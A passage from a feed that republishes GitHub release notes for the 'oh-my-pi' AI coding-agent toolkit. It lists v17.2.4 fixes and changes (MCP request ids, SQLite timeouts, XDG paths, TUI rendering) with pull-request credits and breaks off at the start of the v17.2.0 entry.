<li>Added <code>requestIdFormat</code> (<code>"string"</code> | <code>"number"</code>, default <code>"number"</code>) to MCP server config, honored by the stdio, HTTP, and SSE transports. JSON-RPC 2.0 permits both id shapes, but Apple's <code>xcrun mcpbridge</code> decodes <code>id</code> as an integer only and silently drops string ids (<code>mcpbridge.DecodeError Code=1</code>), hanging every request until it times out. The option is OMP-specific, so set it in an OMP-owned config (<code>.omp/mcp.json</code>, <code>~/.omp/agent/mcp.json</code>, a project <code>mcp.json</code>/<code>.mcp.json</code>, or an OMP plugin); servers imported from another tool's config ignore it (<a href="https://github.com/can1357/oh-my-pi/issues/7053" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7053/hovercard">#7053</a>).</li>
<li>Fixed Anthropic web search sending unsupported temperature parameters to sampling-restricted Claude models (<a href="https://github.com/can1357/oh-my-pi/pull/7195" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7195/hovercard">#7195</a> by <a href="https://github.com/will-bogusz">@will-bogusz</a>).</li>
<li>Fixed mid-turn steering/peer-interrupt tool skips rendering as errors (red ✘, red border/text) in the TUI; pending and in-flight interrupt placeholders now render as neutral info cards while preserving whether <code>tool.execute</code> started (<a href="https://github.com/can1357/oh-my-pi/issues/7199" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7199/hovercard">#7199</a>).</li>
<li>Added <code>Shift+Up</code> as a second default for the message dequeue, so the shortcut is reachable in macOS Terminal.app where Option is consumed for character composition.</li>
<li>Added in-process <code>pgrep</code>, <code>pkill</code>, <code>pidwait</code>, and <code>top</code> shell builtins with cross-platform process discovery, BSD/procps-style filters, pidfile handling, signal selection, waiting, and snapshots.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Headless hosts (print/RPC/ACP/eval/SDK) now use a 1s SQLite <code>busy_timeout</code> for the session-critical databases (agent.db, history.db, stats.db), so lock contention no longer freezes the protocol loop for the full interactive 5s timeout; interactive hosts keep the 5s timeout. The interactive-host flag is now declared before settings load so the first database opens see the correct timeout.</li>
<li>The model picker (<code>/switch</code>, alt+p) no longer blocks models whose context window is smaller than the live session: over-context rows stay grayed but selectable, and picking one compacts with the current model first, then switches. A cancelled or failed compaction keeps the current model.</li>
<li>MCP JSON-RPC request ids now default to per-connection sequential integers instead of snowflake strings, matching the wider MCP ecosystem and making integer-only decoders like Apple's <code>xcrun mcpbridge</code> work without configuration; set <code>requestIdFormat: "string"</code> per server to restore collision-resistant string ids (<a href="https://github.com/can1357/oh-my-pi/issues/7053" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7053/hovercard">#7053</a>).</li>
<li><code>secret-placeholder.key</code> now resolves under XDG state (<code>$XDG_STATE_HOME/omp/secret-placeholder.key</code>) instead of the agent config directory, so it follows the same XDG layout as other state files.</li>
<li>Daemon runtime directories (<code>run/daemons/&lt;hash&gt;</code>) and provider in-flight tracking (<code>run/provider-inflight</code>) now resolve under XDG state (<code>$XDG_STATE_HOME/omp/run/</code>) instead of the config root, keeping ephemeral runtime state out of <code>~/.config</code>.</li>
<li><code>marketplaces.json</code> now resolves under XDG data (<code>$XDG_DATA_HOME/omp/marketplaces.json</code>) instead of the config root, aligning with the XDG data category for user-scoped registry files.</li>
<li>Existing XDG installs keep their placeholder key and marketplace registry: the legacy <code>~/.omp/agent/secret-placeholder.key</code> and <code>~/.omp/marketplaces.json</code> are copied to their XDG locations on first resolution.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed sessions without a granted <code>write</code> tool hiding discoverable and MCP tools behind the unusable <code>xd://</code> transport; those sessions now disable device mounting and expose the tools directly without gaining write access.</li>
<li>Fixed collab guest prompts being sent to models as unframed developer context, so guest messages now retain their transcript attribution while reaching the model as prioritized user interjections (<a href="https://github.com/can1357/oh-my-pi/issues/7288" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7288/hovercard">#7288</a>).</li>
<li>Fixed <code>/memory stats</code> and <code>/memory diagnose</code> showing "Memory stats is not available for the off backend" when memory is off, in both the TUI and ACP/RPC slash-command handlers; the off backend now says memory is off directly instead of naming itself as an unsupported backend (<a href="https://github.com/can1357/oh-my-pi/pull/7251" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7251/hovercard">#7251</a> by <a href="https://github.com/KennethHoff">@KennethHoff</a>).</li>
<li>Fixed <code>/reload-plugins</code> retaining stale context-file contents and activation state in the current system prompt (<a href="https://github.com/can1357/oh-my-pi/issues/7258" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7258/hovercard">#7258</a>).</li>
<li>Fixed compiled binaries failing to import nested wildcard export subpaths such as <code>@oh-my-pi/pi-coding-agent/slash-commands/helpers/active-oauth-account</code>. Node matches <code>*</code> in an <code>exports</code> pattern across <code>/</code>, but the bundled registry enumerated only the top level and skipped any key containing a slash, so such an import resolved from source and died under bunfs — reproducible on the published 17.2.1 binary.</li>
<li>Fixed concurrent session appends during <code>/move</code> recreating an orphaned <code>.jsonl</code> fragment in the old session directory (<a href="https://github.com/can1357/oh-my-pi/issues/7270" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7270/hovercard">#7270</a>).</li>
<li>Fixed interactive launches hanging silently when a host project or its <code>.env</code> sets <code>NODE_ENV=test</code> or <code>BUN_ENV=test</code> (<a href="https://github.com/can1357/oh-my-pi/issues/7261" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7261/hovercard">#7261</a>).</li>
<li>Fixed a subagent killed from the Agent Hub (<code>x</code>) reappearing as a <code>parked</code> row after closing and reopening the hub in a local session; the kill now leaves the ref registered as terminal <code>aborted</code> instead of unregistering it, so the persisted-subagent rescan no longer re-adopts the surviving transcript (<a href="https://github.com/can1357/oh-my-pi/issues/7250" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7250/hovercard">#7250</a>).</li>
<li>Fixed manual and automatic Codex compaction dropping the configured OpenAI WebSocket preference (<a href="https://github.com/can1357/oh-my-pi/issues/7198" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7198/hovercard">#7198</a>).</li>
<li>Fixed two remaining tool-card double renders: a superseded assistant turn no longer leaves its never-run cards above the re-run's fresh cards (a TTSR rewind retracts them immediately; an auto-retry removes the synthetic-settled failure cards when it supersedes the turn — while a genuinely terminal failure keeps its card visible), and a successful read whose persisted result wins a transcript-rebuild race no longer creates a fallback read group when its delayed live completion arrives (<a href="https://github.com/can1357/oh-my-pi/issues/6879" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6879/hovercard">#6879</a>).</li>
<li>Fixed a tool card rendering twice when the provider rewrites a streamed tool call's id mid-stream — GitHub Copilot's <code>call_id|id</code> transport, or any stream that delivers the tool name/arguments before the id — so the block appears first with an empty or partial id and is populated in a later delta. The transcript keyed the live card by that mutable id, so the changed id spawned a second card: the old-id card orphaned as a blue pending preview while the new-id card took the result. Streamed tool cards are now re-keyed in place when their id changes, using the block's position in the streaming message as a stable identity (<a href="https://github.com/can1357/oh-my-pi/issues/6879" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6879/hovercard">#6879</a>).</li>
<li>Withheld advisor nits and concerns while the primary turn is explicitly marked in progress, while still allowing blockers for unrecoverable active side effects.</li>
<li>Preserved explicit <code>-e</code>/<code>--extension</code> and <code>--hook</code> packages under<br>
<code>--no-extensions</code> while excluding ambient extension factories and sibling<br>
capabilities from settings or installed OMP packages.</li>
<li>Fixed explicit <code>thinking</code> metadata in <code>models.yml</code> custom definitions and <code>modelOverrides</code> being replaced by canonical catalog policy during model rebuilding. (<a href="https://github.com/can1357/oh-my-pi/issues/7307" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7307/hovercard">#7307</a>)</li>
<li>Fixed the auto-titler installing a model's whole answer as the session title when the tiny title model ignored the titling task and answered the first user message instead. <code>normalizeGeneratedTitle</code> now rejects overlong output (&gt;80 chars or &gt;12 words) so the caller defers titling to the next user turn rather than accepting a full sentence (<a href="https://github.com/can1357/oh-my-pi/issues/7303" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7303/hovercard">#7303</a>).</li>
<li>Fixed the in-process <code>kill</code> builtin to validate signals, preserve negative PID operands, signal every process in pipeline jobs, continue after bad targets, and refuse non-probe signals aimed at the host process or process group.</li>
</ul>
<h2>@oh-my-pi/omp-stats</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed provider usage window stats silently showing no data during SQLite contention by installing a five-second busy timeout on read-only agent database connections (<a href="https://github.com/can1357/oh-my-pi/issues/7300" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7300/hovercard">#7300</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed animated Loader paints saturating a CPU core on slow WSL/ConPTY terminals by applying cost-aware cadence backpressure while preserving 30fps on cheap frames (<a href="https://github.com/can1357/oh-my-pi/issues/7290" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7290/hovercard">#7290</a>).</li>
<li>Fixed interactive terminals suppressing all output and input when the host project sets <code>NODE_ENV=test</code> or <code>BUN_ENV=test</code> (<a href="https://github.com/can1357/oh-my-pi/issues/7261" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7261/hovercard">#7261</a>).</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added <code>getSecretPlaceholderKeyPath()</code>, <code>getDaemonRuntimeDir()</code>, <code>getProviderInFlightRoot()</code>, and <code>getMarketplacesRegistryPath()</code> to resolve secret key, daemon runtime, provider in-flight, and marketplace registry paths under their respective XDG categories (state, data) instead of the config root.</li>
<li>Existing installs enabling XDG keep their data: a legacy <code>~/.omp/agent/secret-placeholder.key</code> or <code>~/.omp/marketplaces.json</code> is copied to its XDG location on first resolution, so persisted transcripts still deobfuscate and added marketplaces survive the move.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Headless hosts (print/RPC/ACP/eval/SDK) now use a 1s SQLite <code>busy_timeout</code> for the session-critical databases (agent.db, history.db, stats.db) via <code>getDbBusyTimeoutMs()</code>, so lock contention no longer freezes the protocol loop for the full interactive 5s timeout; interactive hosts keep the 5s timeout.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Bun test-runtime detection treating application-owned <code>NODE_ENV=test</code> and <code>BUN_ENV=test</code> values as test-runner signals (<a href="https://github.com/can1357/oh-my-pi/issues/7261" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7261/hovercard">#7261</a>).</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(coding-agent): retract superseded turn's tool cards to stop double render by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4996558218" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6881" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6881/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6881">#6881</a></li>
<li>feat(mcp): let a server opt into integer JSON-RPC request ids by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kodlian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kodlian">@kodlian</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5023403978" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7107" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7107/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7107">#7107</a></li>
<li>feat(keybindings): accept shift+up for the steering dequeue by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/metaphorics/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/metaphorics">@metaphorics</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5027635996" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7149" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7149/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7149">#7149</a></li>
<li>fix(coding-agent): omit unsupported Anthropic search temperature by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/will-bogusz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/will-bogusz">@will-bogusz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5032970616" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7195" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7195/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7195">#7195</a></li>
<li>fix(agent): route codex v2 compaction through websockets by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5033342939" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7202" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7202/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7202">#7202</a></li>
<li>fix(tui): render mid-turn steering skips as info, not errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5033383916" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7203" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7203/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7203">#7203</a></li>
<li>fix(ai): honor model.compat.streamIdleTimeoutMs in the Anthropic idle watchdog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/excniesNIED/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/excniesNIED">@excniesNIED</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5035361709" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7230" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7230/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7230">#7230</a></li>
<li>fix(coding-agent): refresh context files on plugin reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036789580" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7262" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7262/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7262">#7262</a></li>
<li>fix(tui): prevent test env from suppressing interactive launch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036829163" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7263" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7263/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7263">#7263</a></li>
<li>fix(ai): retry opaque OpenRouter strict-tool errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036885959" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7265" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7265/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7265">#7265</a></li>
<li>fix(catalog): inherit base model limits for ollama tag variants by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5037153124" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7267" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7267/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7267">#7267</a></li>
<li>fix(session): fence appends during session moves by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5037256838" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7271" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7271/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7271">#7271</a></li>
<li>fix(extensions): bundle nested wildcard export subpaths for compiled binaries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshav167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshav167">@harshav167</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5037620274" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7277" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7277/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7277">#7277</a></li>
<li>fix(ai): preserve Codex WebSocket chaining for normalized IDs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5037825661" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7281" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7281/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7281">#7281</a></li>
<li>fix(coding-agent): preserve explicit extensions in isolation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alphastorm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alphastorm">@alphastorm</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5037949413" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7285" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7285/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7285">#7285</a></li>
<li>fix(collab): treat guest prompts as user interjections by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038084833" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7289" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7289/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7289">#7289</a></li>
<li>fix(tui): backpressure slow loader paints by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038160992" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7291" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7291/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7291">#7291</a></li>
<li>fix(ai): install auth-db busy handler before open()-path leases DDL by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038496884" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7304" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7304/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7304">#7304</a></li>
<li>fix(ai): latch and surface a corrupt credential-block store by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038498629" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7305" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7305/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7305">#7305</a></li>
<li>fix(title): reject overlong auto-generated session titles by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038508517" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7306" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7306/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7306">#7306</a></li>
<li>fix(stats): wait for contended usage snapshot reads by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038515169" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7308" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7308/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7308">#7308</a></li>
<li>fix(catalog): honor openrouter deepseek effort metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038584616" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7311" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7311/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7311">#7311</a></li>
<li>fix(coding-agent): suppress WIP advisor non-blockers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolfiesch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolfiesch">@wolfiesch</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983964235" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6756" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6756/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6756">#6756</a></li>
<li>fix(xdg): fix files and folder for xdg-maintained by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Parsifa1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Parsifa1">@Parsifa1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5017017032" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7065" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7065/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7065">#7065</a></li>
<li>Bound synchronous SQLite busy-waits in headless hosts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pi3123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pi3123">@pi3123</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5035633241" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7240" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7240/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7240">#7240</a></li>
<li>fix(memory): clarify /memory stats and /memory diagnose message when memory is off by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KennethHoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KennethHoff">@KennethHoff</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036360257" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7251" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7251/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7251">#7251</a></li>
<li>fix(coding-agent): keep hub-killed subagent from resurrecting as parked by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036373794" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7252" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7252/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7252">#7252</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kodlian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kodlian">@kodlian</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5023403978" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7107" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7107/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7107">#7107</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/excniesNIED/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/excniesNIED">@excniesNIED</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5035361709" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7230" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7230/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7230">#7230</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alphastorm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alphastorm">@alphastorm</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5037949413" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7285" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7285/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7285">#7285</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pi3123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pi3123">@pi3123</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5035633241" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7240" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7240/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7240">#7240</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v17.2.3...v17.2.4">v17.2.3...v17.2.4</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v17.2.0]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Fixed

Provider-native compaction failures now surface their transport error instead of silently switching to generic summarization; streaming V2 still falls back to native V1 when available.

@oh-my-pi/pi-ai
Added

Added first-class parentTurnId support for nested Codex r...]]></description>
<link>https://tsecurity.de/de/3698416/tools/github-v1720/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698416/tools/github-v1720/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:19 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>@oh-my-pi/pi-agent-core</h2>
<h3>Fixed</h3>
<ul>
<li>Provider-native compaction failures now surface their transport error instead of silently switching to generic summarization; streaming V2 still falls back to native V1 when available.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added first-class parentTurnId support for nested Codex requests, allowing stream options and metadata helpers to accept and safely propagate the initiating turn's ID.</li>
<li>Added preservation of the Codex <code>encrypted_function_args</code> plaintext-collaboration marker on replayed function calls, keeping server-marked plaintext tool arguments from being reinterpreted as encrypted on subsequent turns.</li>
